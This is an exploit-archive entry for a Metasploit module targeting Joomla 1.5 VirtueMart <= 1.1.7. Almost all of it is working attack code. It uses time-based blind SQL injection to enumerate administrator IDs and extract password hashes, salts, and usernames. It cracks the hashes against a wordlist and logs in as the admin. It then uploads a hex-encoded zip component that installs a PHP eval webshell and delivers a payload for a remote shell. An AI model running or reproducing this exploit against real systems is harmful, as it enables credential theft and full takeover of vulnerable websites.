Joomla 1.5 com_virtuemart <= 1.1.7 Blind time-based SQL Injection (MSF)

2011-07-28T00:00:00
ID 1337DAY-ID-16574
Type zdt
Reporter TecR0c
Modified 2011-07-28T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title: Joomla 1.5 com_virtuemart <= 1.1.7 blind time-based sql injection MSF module
# Date: Thu Jul 28, 2011
# Author: TecR0c - tecr0c.mythsec [@] gmail.com
# Version: <= 1.1.7
# Download: http://dev.virtuemart.net/projects/virtuemart/files
# Greetz: mythsec team, James Bercega for code base for sqli blind
 
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
     
    include Msf::Exploit::Remote::HttpClient
     
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Joomla 1.5 VirtueMart Component <= 1.1.7 Blind SQL Injection',
            'Description'    => %q{
            A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies
            unauthenticated time-based blind SQL injection in the "page" variable of the
            virtuemart component. This vulnerability allows an attacker to gain information
            from the database with specially crafted URLs taking advantage of the MySQL
            benchmark. This issue was patched in version 1.1.7a.
            },
            'Author'         =>
                [
                    'TecR0c',  #Initial discovery, msf module
                    'mr_me',  #Initial discovery with TecR0c
                ],
            'License'        =>  MSF_LICENSE,
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/17132/' ],
                    [ 'URL','http://www.stratsec.net/Research/Advisories/' ],
                ],
            'Privileged'     =>  false,
            'Platform'       => 'php',
            'Arch'           =>  ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Feb 11 2011',
            'DefaultTarget'  => 0 ))
             
            register_options(
                [
                    OptString.new('JDIR', [true, 'Joomla directory', '/']),
                    OptInt.new('BMCT', [true, 'Benchmark Counter', 50000000 ]),
                    OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),
                    OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),
                    OptString.new('WLIST', [true,
                                'Wordlist location',
                                '/home/foo/bar.txt'
                                ]),
                    OptString.new('AGNT', [false, 'User Agent Info', 'Mozilla/5.0' ]),
                    OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]),
                    OptString.new('JQRY', [false,
                                'URI to trigger bug',
                                'index.php?option=com_virtuemart&page=1'
                                ])
                ], self.class)
    end
    #################################################
    # Extract "Set-Cookie"
    def init_cookie(data, cstr = true)
     
        # Raw request? Or cookie data specifically?
        data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
         
        # Beginning
        if ( data )
             
            # Break them apart
            data = data.split(', ')
             
            # Initialize
            ctmp = ''
            tmps = {}
             
            # Parse cookies
            data.each do | x |
             
                # Remove extra data
                x = x.split(';')[0]
                 
                # Seperate cookie pairs
                if ( x =~ /([^;\s]+)=([^;\s]+)/im )
                     
                    # Key
                    k = $1
                     
                    # Val
                    v = $2
                     
                    # Valid cookie value?
                    if ( v.length() > 0 )
                     
                        # Build cookie hash
                        tmps[k] = v
                         
                        # Report cookie status
                        print_status("Got Cookie: #{k} => #{v}");
                    end
                end
            end
             
            # Build string data
            if ( cstr == true )
                 
                # Loop
                tmps.each do |x,y|
                     
                    # Cookie key/value
                    ctmp << "#{x}=#{y};"
                end
                 
                # Assign
                tmps['cstr'] = ctmp
            end
             
            # Return
            return tmps
        else
            # Something may be wrong
            init_debug("No cookies within the given response")
        end
    end
     
    #################################################
     
    # Simple debugging output
    def init_debug(resp, exit = 0)
     
        # Continue execution
        if ( exit.to_i > 0 )
         
            # Exit
            exit(0)
        end
         
    end
     
    #################################################
     
    # Generic post wrapper
    def http_post(url, data, headers = {}, timeout = 15)
     
        # Protocol
        proto = datastore['SSL'] ? 'https': 'http'
         
        # Determine request url
        url = url.length ? url: ''
         
        # Determine User-Agent
        headers['User-Agent'] = headers['User-Agent']  ?
        headers['User-Agent'] : datastore['AGNT']
         
        # Determine Content-Type
        headers['Content-Type'] = headers['Content-Type'] ?
        headers['Content-Type'] : "application/x-www-form-urlencoded"
         
        # Determine Content-Length
        headers['Content-Length'] = data.length
         
        # Determine Referer
        headers['Referer'] = headers['Referer']        ?
        headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
         
        # Delete all the null headers
        headers.each do | hkey, hval |
             
            # Null value
            if ( !hval )
             
                # Delete header key
                headers.delete(hkey)
            end
        end
         
        # Send request
        resp = send_request_raw(
        {
            'uri'     => datastore['JDIR'] + url,
            'method'  => 'POST',
            'data'    => data,
            'headers' => headers
        },
        timeout )
             
             
        # Returned
        return resp
     
    end
     
    #################################################
     
    # Generic post multipart wrapper
    def http_post_multipart(url, data, headers = {}, timeout = 15)
         
        # Boundary string
        bndr =  Rex::Text.rand_text_alphanumeric(8)
         
        # Protocol
        proto = datastore['SSL'] ? 'https': 'http'
     
        # Determine request url
        url = url.length ? url: ''
         
        # Determine User-Agent
        headers['User-Agent'] = headers['User-Agent']  ?
        headers['User-Agent'] : datastore['AGNT']
         
        # Determine Content-Type
        headers['Content-Type'] = headers['Content-Type'] ?
        headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
         
        # Determine Referer
        headers['Referer'] = headers['Referer']        ?
        headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
         
        # Delete all the null headers
        headers.each do | hkey, hval |
         
            # Null value
            if ( !hval )
             
                # Delete header key
                headers.delete(hkey)
            end
        end
         
        # Init
        temp = ''
         
        # Parse form values
        data.each do |name, value|
         
            # Hash means file data
            if ( value.is_a?(Hash) )
                 
                # Validate form fields
                filename = value['filename'] ? value['filename']:
                         init_debug("Filename value missing from #{name}", 1)
                contents = value['contents'] ? value['contents']:
                         init_debug("Contents value missing from #{name}", 1)
                mimetype = value['mimetype'] ? value['mimetype']:
                         init_debug("Mimetype value missing from #{name}", 1)
                encoding = value['encoding'] ? value['encoding']: "Binary"
                 
                # Build multipart data
                temp << "--#{bndr}\r\n"
                temp << "Content-Disposition: form-data; name=\"#{name}\"
                    ; filename=\"#{filename}\"\r\n"
                temp << "Content-Type: #{mimetype}\r\n"
                temp << "Content-Transfer-Encoding: #{encoding}\r\n"
                temp << "\r\n"
                temp << "#{contents}\r\n"
                 
            else
                # Build multipart data
                temp << "--#{bndr}\r\n"
                temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
                temp << "\r\n"
                temp << "#{value}\r\n"
            end
        end
         
        # Complete the form data
        temp << "--#{bndr}--\r\n"
         
        # Assigned
        data = temp
         
        # Determine Content-Length
        headers['Content-Length'] = data.length
         
        # Send request
        resp = send_request_raw(
        {
            'uri'     => datastore['JDIR'] + url,
            'method'  => 'POST',
            'data'    => data,
            'headers' => headers
        },
        timeout)
         
        # Returned
        return resp
         
    end
     
    #################################################
     
    # Generic get wrapper
    def http_get(url, headers = {}, timeout = 15)
         
        # Protocol
        proto = datastore['SSL'] ? 'https': 'http'
         
        # Determine request url
        url = url.length ? url: ''
         
        # Determine User-Agent
        headers['User-Agent'] = headers['User-Agent']  ?
        headers['User-Agent'] : datastore['AGNT']
         
        # Determine Referer
        headers['Referer'] = headers['Referer']        ?
        headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
         
        # Delete all the null headers
        headers.each do | hkey, hval |
         
            # Null value // Also, remove post specific data, due to a bug ...
            if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
             
                # Delete header key
                headers.delete(hkey)
            end
        end
         
         
        # Send request
        resp = send_request_raw({
            'uri'     => datastore['JDIR'] + url,
            'headers' => headers,
            'method'  => 'GET',
        }, timeout)
         
        # Returned
        return resp
         
    end
     
    #################################################
     
     
    # Used to perform benchmark querys
    def sql_benchmark(test, hdrs, table = nil, where = '1+LIMIT+1', tnum = nil )
     
        # Init
        wait = 0
         
        # Defaults
        table = table ? table: 'users'
         
        # SQL Injection string used to trigger the MySQL BECNHMARK() function
        sqli = ("'+UNION+SELECT+IF(#{test},+BENCHMARK(#{datastore['BMCT']},\
+MD5(1)),+0)+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}--+sqli.page")
         
        # Number of tests to run. We run this
        # amount of tests and then look for a
        # median value that is greater than
        # the benchmark difference.
        tnum = tnum ? tnum: datastore['BMRC']
         
        # Run the tests
        tnum.to_i.times do | i |
         
            # Start time
            bmc1 = Time.now.to_i
             
            # Make the request
             
             
            init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
            # End time
            bmc2 = Time.now.to_i
             
             
            # Total time
            wait += bmc2 - bmc1
        end
         
        # Return the results
        return ( wait.to_i / tnum.to_i )
         
    end
     
     
    #################################################
     
     
    # Used to perform benchmark querys
    def sql_benchmark_2(hdrs, columns = nil, table = nil, where = '1+LIMIT+1', tnum = nil )
     
        # Init
        wait = 0
         
        # Defaults
        table = table ? table: 'users'
         
        # SQL Injection string used to trigger the MySQL BECNHMARK() function
        sqli = (
"'+UNION+SELECT+IF(substring((select+#{columns}+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}),1,1),BENCHMARK(#{datastore['BMCT']},+MD5(1)),+0)--+sqli.page")
         
        # Number of tests to run. We run this
        # amount of tests and then look for a
        # median value that is greater than
        # the benchmark difference.
        tnum = tnum ? tnum: datastore['BMRC']
         
        # Run the tests
        tnum.to_i.times do | i |
         
            # Start time
            bmc1 = Time.now.to_i
             
            # Make the request
             
             
            init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
            # End time
            bmc2 = Time.now.to_i
             
             
            # Total time
            wait += bmc2 - bmc1
        end
         
        # Return the results
        return ( wait.to_i / tnum.to_i )
         
    end
     
     
    #################################################
     
     
    def get_password(hash, salt, opts = nil)
     
        # Wordlist
        wlst = datastore['WLIST']
         
        # Init
        cntr = 0
             
        # Verbose
        print_status("Attempting to crack admin password hash")
         
        # Valid hash length only
        if ( hash.length != 32 )
         
            # Failure
            print_error("Invalid Joomla MD5 hash: #{hash.to_s}")
            return nil
        end
         
        # Does the wordlist exist?
        if ( !File.exist?(wlst) )
         
            # Failure
            print_error("Unable to load wordlist: #{wlst}")
            return nil
        else
             
            # Load the wordlist file
            list = File.readlines(wlst)
        end
         
        # Verbose
        print_status("Loaded #{list.count.to_s} words from the specified list")
        print_status("This may take quite some time ...")
         
        # Start time
        bmc1 = Time.now.to_i
         
        # Loop through list
        list.each do | word |
         
            # Cleanup
            word = word.strip
             
            # Counter
            cntr = cntr + 1
             
            # Attempt to find the plaintext password
            if ( hash == Rex::Text.md5(word + salt) )
             
                # Success!
                print_status("Successfully cracked the following hash")
                print_status("#{hash} => #{salt} == #{word}")
                 
                # Ended time
                bmc2 = Time.now.to_i
                 
                # Duration
                bmc3 = bmc2 - bmc1
                bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
                 
                # Verbose
                print_status("Operation completed in #{bmc3}")
                 
                # Return
                return word
            end # if
        end # each
         
        # Failure
        print_error("Unable to crack the following hash")
        print_error("#{hash} => #{salt} == ???")
         
        # Ended time
        bmc2 = Time.now.to_i
         
        # Duration
        bmc3 = bmc2 - bmc1
        bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
         
        # Verbose
        print_status("Operation completed in #{bmc3}")
         
        # Return
        return nil
    end
     
    #################################################
     
    def get_users_data(hdrs, snum, slim, cset, sqlf, sqlw)
 
            # Start time
            tot1 = Time.now.to_i
             
            # Initialize
            reqc = 0
            retn = String.new
                 
            # Extract salt
            for i in snum..slim
             
                # Offset position
                oset = ( i - snum ) + 1
     
                # Loop charset
                for cbit in cset
     
                    # Test character
                    cbit.each do | cchr |
     
                        # Start time (overall)
                        bmc1 = Time.now.to_i
     
                        # Benchmark query
                        bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1)+LIKE+BINARY+CHAR(#{cchr.ord})",
                        hdrs,"users", sqlw, datastore['BMRC'])
     
                        # Noticable delay? We must have a match! ;)
                        if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
     
                            # Verbose
                            print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
     
                            # Append chr
                            retn << cchr
     
                            # Exit loop
                            break
                        end
     
                        # Counter
                        reqc += 1
     
                    end # each
                end # for
     
                # Host not vulnerable?
                if ( oset != retn.length )
                     
                    # Failure
                    print_error("Unable to extract character ##{oset.to_s}\
                    . Extraction failed!")
                    return nil
                end
            end # for
     
            # End time (total)
            tot2 = Time.now.to_i
     
            # Benchmark totals
            tot3 = tot2 - tot1
     
            # Verbose
            print_status("Found data: #{retn}")
            print_status("Operation required #{reqc.to_s} requests (#{( tot3 / 60).to_s} minutes)")
             
            # Return
            return retn
    end
     
    #################################################
     
    def check
 
                print_status("Attempting to determine virtuemart version")
 
                resp = http_get("modules/mod_virtuemart_currencies/mod_virtuemart_currencies.xml")
 
                # Extract Joomla version information
                if ( resp.body =~ /<version>([^\s]+)<\/version>/ )
 
                        # Version
                        vers = $1.strip
 
                        # Version "parts"
                        ver1, ver2, ver3 = vers.split(/\./)
 
                        # Only if version 1.1.7
                        if ( ver3.to_i >= 7)
 
                                # Exploit failed
                                init_debug(resp)
                print_status("Please confirm manually")
                return Exploit::CheckCode::Safe
                        else
 
                                print_status("The target is running VirtueMart : #{vers}")
                return Exploit::CheckCode::Vulnerable
                        end
                else
 
                        # Verbose
                        print_error("Unable to determine Joomla version ...")
                end
 
    end
     
    #################################################
    def exploit
     
        # Numeric test string
        tstr = Time.now.to_i.to_s
 
        # MD5 test string
        tmd5 = Rex::Text.md5(tstr)
     
        # Encoded payload
        load = payload.encoded
         
        #################################################
        # STEP 02 // Get the cookie for virtuemart :)
        #################################################
 
        # request to get virtuemart cookie
        resp = http_get("index.php?option=com_virtuemart&page=1")
 
        # Init cookie
        cook = init_cookie(resp)
 
        # Build headers for authenticated session
        hdrs = { "Cookie" => cook['cstr'] }
 
        #################################################
        # STEP 03 // Calculate BENCHMARK() response times
        #################################################
 
        # Verbose
        print_status("Calculating target response times")
        print_status("Benchmarking #{datastore['BMRC']} normal requests")
         
 
        # Normal request median (globally accessible)
        datastore['BMC0'] = sql_benchmark("1=2", hdrs)
         
        # Verbose
        print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
        print_status("Benchmarking #{datastore['BMRC']} delayed requests")
 
        # Delayed request median
        bmc1 = sql_benchmark("1=1", hdrs)
 
        # Verbose
        print_status("Delayed request avg: #{bmc1.to_s} seconds")
 
        # Benchmark totals
        bmct = bmc1 - datastore['BMC0']
 
        # Delay too small. The host may not be
        # vulnerable. Try increasing the BMCT.
        if ( bmct.to_i < datastore['BMDF'].to_i )
 
            # Verbose
            print_error("your benchmark threshold is small, or host is not vulnerable")
            print_error("increase the benchmark threshold adjust the value of the BMDF")
            print_error("increase the expression iterator adjust the value of the BMCT")
            return
        else
            # Host appears exploitable
            print_status("Request Difference: #{bmct.to_s} seconds")
        end
 
        #################################################
        # STEP 04 // Attempting to find a valid admin id
        #################################################
         
        atot = 0     # Total admins
        scnt = 0     # Step counter
        step = 10    # Step increment
        slim = 10000 # Step limit
         
        # 42 is the hard coded base uid within Joomla ...
        # ... and the answer to the ultimate question! ;]
        snum = ( !defined?(auid) ) ? 62: auid # changed from 42 to 62
         
        # Verbose
        print_status("Calculating total number of administrators")
         
        # Check how many admin accounts are in the database
        for i in 0..slim do
 
            # Benchmark
            bmcv = sql_benchmark_2(hdrs, "gid", "users", "gid=25+LIMIT+#{i.to_s},1",datastore['BMRC'])
             
            # If we do not have a delay, then we have reached the end ...
            if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )
 
                # Range
                atot = i
                 
                # Verbose
                print_status("Successfully confirmed #{atot.to_s} admin accounts")
 
                # Exit loop
                break
            end
        end
             
        # Loops until limit
        while ( snum < slim && scnt < atot )
     
            # Verbose
            print_status("Attempting to find a valid admin ID")
             
            # Verbose
            print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
     
            for i in snum.step(slim, step)
                bmcv = 0
                 
     
                # Benchmark
                bmcv = sql_benchmark("#{i}+>+id", hdrs, "users","gid=25+LIMIT+#{scnt.to_s},1", datastore['BMRC'])
 
                # Noticable delay? We must have a match! ;)
                if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
     
                    # Range
                    itmp = i
     
                    # Exit loop
                    break
                else
                     
                    # Out of time ..
                    if ( i == slim )
                     
                        # Failure
                        print_error("Unable to find a valid user id. Exploit failed!")
                        return
                    end
                     
                end
            end
     
            # Jump back by #{step} and increment by one
            for i in ( snum ).upto(( itmp ))
                bmcv = 0
                auid = 0
 
     
                # Benchmark
                bmcv = sql_benchmark("id+=+#{i}", hdrs, "users", "gid=25",
                datastore['BMRC'])
     
                # Noticable delay? We must have a match! ;)
                if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
     
                    # UserID - first time auid gets set to 62
                    auid = i
     
                    # Verbose
                    print_status("Found a valid admin account uid : #{auid.to_s}")
                     
                    # Step Counter
                    scnt += 1
     
                    # Exit loop
                    break
                else
                     
                    # Out of time ..
                    if ( i == ( itmp + step ) )
                     
                        # Failure
                        print_error("Unable to find a valid user id. Exploit failed!")
                        return
                    end
                end
            end
             
            #################################################
            # These are the charsets used for the enumeration
            # operations and can be easily expanded if needed
            #################################################
     
            # Hash charset a-f0-9
            hdic = [ ('a'..'f'), ('0'..'9') ]
     
            # Salt charset a-zA-Z0-9
            sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
             
            # Username charset
            udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
         
            #################################################
            # STEP 05 // Attempt to extract admin pass hash
            #################################################
     
            # Verbose
            print_status("Attempting to gather admin password hash")
             
            # Get pass hash - changed bs
            if ( auid != 0 && !( hash = get_users_data(
                            hdrs,             # Pass cookie value
                            1,                # Length Start
                            32,               # Length Maximum
                            hdic,             # Charset Array
                            "password",       # SQL Field name
                            "id=#{auid.to_s}" # SQL Where data
                            ) ) )
                             
                # Failure
                print_error("Unable to gather admin pass hash. Exploit failed!!")
                return
            end
            #################################################
            # STEP 06 // Attempt to extract admin pass salt
            #################################################
             
            # Verbose
            print_status("Attempting to gather admin password salt")
             
            # Get pass salt - changed bs
            if ( auid != 0 && !( salt = get_users_data(
                            hdrs,             # Pass cookie value
                            34,               # Length Start
                            65,               # Length Maximum
                            sdic,             # Charset Array
                            "password",       # SQL Field name
                            "id=#{auid.to_s}" # SQL Where data
                            ) ) )
                             
                # Failure
                print_error("Unable to gather admin pass salt. Exploit failed!!")
                return
            end
 
            #################################################
            # STEP 07 // Attempt to crack the extracted hash
            #################################################
     
            # Attempt to crack password hash - changed bs
            if ( auid != 0 )
                pass = get_password(hash, salt)
            end
     
            # Got pass? - changed bs
            if ( auid != 0 && pass )
 
                #################################################
                # STEP 08 // Attempt to extract admin username
                #################################################
                 
                # Verbose
                print_status("Attempting to determine target username length")
                 
                # Hard limit is 150
                for i in 1.upto(150)
         
                    # Benchmark
                    bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", hdrs,
                    "users", "id=#{auid.to_s}", datastore['BMRC'])
         
                    # Noticable delay? We must have a match! ;)
                    if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
         
                        # Length
                        ulen = i
                         
                        # Verbose
                        print_status("The username is #{i.to_s} characters long")
         
                        # Exit loop
                        break
                    end
                end
         
                # Verbose
                print_status('Gathering admin username')
         
                # Get pass salt
                if ( !( user = get_users_data(
                                hdrs,            # Pass cookie value
                                1,               # Length Start
                                ulen,               # Length Maximum
                                udic,             # Charset Array
                                "username",       # SQL Field name
                                "id=#{auid.to_s}" # SQL Where data
                                ) ) )
                                 
                    # Failure
                    print_error("Unable to gather admin user name. Exploit failed!!")
                    return
                end
 
                # Verbose
                print_status("Attempting to extract a valid request token")
                 
                # Request a valid token
                resp = http_get("administrator/index.php")
                 
                # Extract token
                if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
                 
                    # Token
                    rtok = $1
                     
                    # Verbose
                    print_status("Got token: #{rtok}")
                else
                 
                    # Failure
                    print_error("Unable to extract request token. Exploit failed!")
                    init_debug(resp)
                    return
                end
                 
                # Init cookie
                cook = init_cookie(resp)
                 
                # Build headers for authenticated session
                hdrs = { "Cookie" => cook['cstr'] }
                 
                #################################################
                # STEP 09 // Attempt to authenticate as the admin
                #################################################
                 
                # Verbose
                print_status("Attempting to login as: #{user}")
                 
                # Post data for login request
                post = "username=#{user}&passwd=#{pass}\
                〈=&option=com_login&task=login&#{rtok}=1"
                 
                # Login request
                resp = http_post("administrator/index.php", post, hdrs)
                 
                # Authentication successful???
                if ( resp && resp.code == 303 )
                 
                    # Success
                    print_status("Successfully logged in as: #{user}")
                else
                 
                    # Failure
                    print_error("Unable to authenticate. Exploit failed!")
                    init_debug(resp)
                    return
                end    
                 
                #################################################
                # STEP 10 // Upload wrapper and execute payload!
                #################################################
                     
                # Verbose
                print_status("Attempting to extract refreshed request token")
                 
                # Request a valid token (again)
                resp = http_get("administrator/index.php?option=com_installer",hdrs)
                 
                # Extract token
                if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
                 
                    # Token
                    rtok = $1
                     
                    # Verbose
                    print_status("Got token: #{rtok}")
                else
                 
                    # Failure
                    print_error("Unable to extract request token. Exploit failed!")
                    init_debug(resp.body)
                    return
                end
                 
                # Component specific data
                cstr = "joomla"
                czip = "com_#{cstr}.zip"
                curi = "components/com_#{cstr}/#{cstr}.php"
 
                #################################################
                # Our Joomla specific PHP payload wrapper that is
                # used to have more flexibility when delivering a
                # selected payload to a target. The wrapper is in
                # the Joomla! 1.6 compononent format and can also
                # be used with other Joomla exploits.
                #################################################
                #
                # Type: Joomla 1.6 Component
                # File: com_joomla/joomla.xml <-- installer file
                #       com_joomla/joomla.php <-- component file
                #
                # Data: <?php
                #       # Modify settings
                #       error_reporting(0);
                #       ini_set('max_execution_time', 0);
                #
                #       # Execute the selected payload, and delete the wrapper
                #       @eval(base64_decode(file_get_contents('php://input')));
                # ?>
                #################################################
                 
                # Hex encoded component zip data
                wrap  = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
                wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
                wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
                wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
                wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
                wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
                wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
                wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
                wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
                wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
                wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
                wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
                wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
                wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
                wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
                wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
                wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
                wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
                wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
                wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
                wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
                wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
                wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
                wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
                wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
                wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
                wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
                wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
                wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
                wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
                wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
                wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
                wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
                wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
                wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
                wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
                wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
                wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
                wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
                wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
                wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
                wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
                wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
                wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
                wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
                wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
                wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
                wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
                wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"
 
                # Verbose
                print_status("Attempting to upload payload wrapper component")
                 
                # Post data
                data = {
                 
                    # Component data
                    'install_package' =>
                    {
                        'filename' =>  czip,
                        'contents' =>  wrap,
                        'mimetype' => 'application/zip',
                        'encoding' => 'binary',
                    },
                     
                    # Required install params
                    "installtype"  => "upload",
                    "task"         => "install.install",
                    "#{rtok}"      => "1",
                }
                 
                # Upload the wrapper component
                init_debug(http_post_multipart("administrator/index.php?option=\
                com_installer&view=install", data, hdrs))
 
                # Deliver the selected payload to the target
                init_debug(http_post(curi, Rex::Text.encode_base64(load)))
                 
                # Shell
                handler
                return
            else
             
                # Verbose
                print_error("Failed to crack hash. Searching for new admin account ...")
            end # if
        snum += 1
        end # while
         
        # Verbose
        print_error("Unable to crack any admin hashes. Try a better wordlist?")
        return
    end
end



#  0day.today [2016-04-20]  #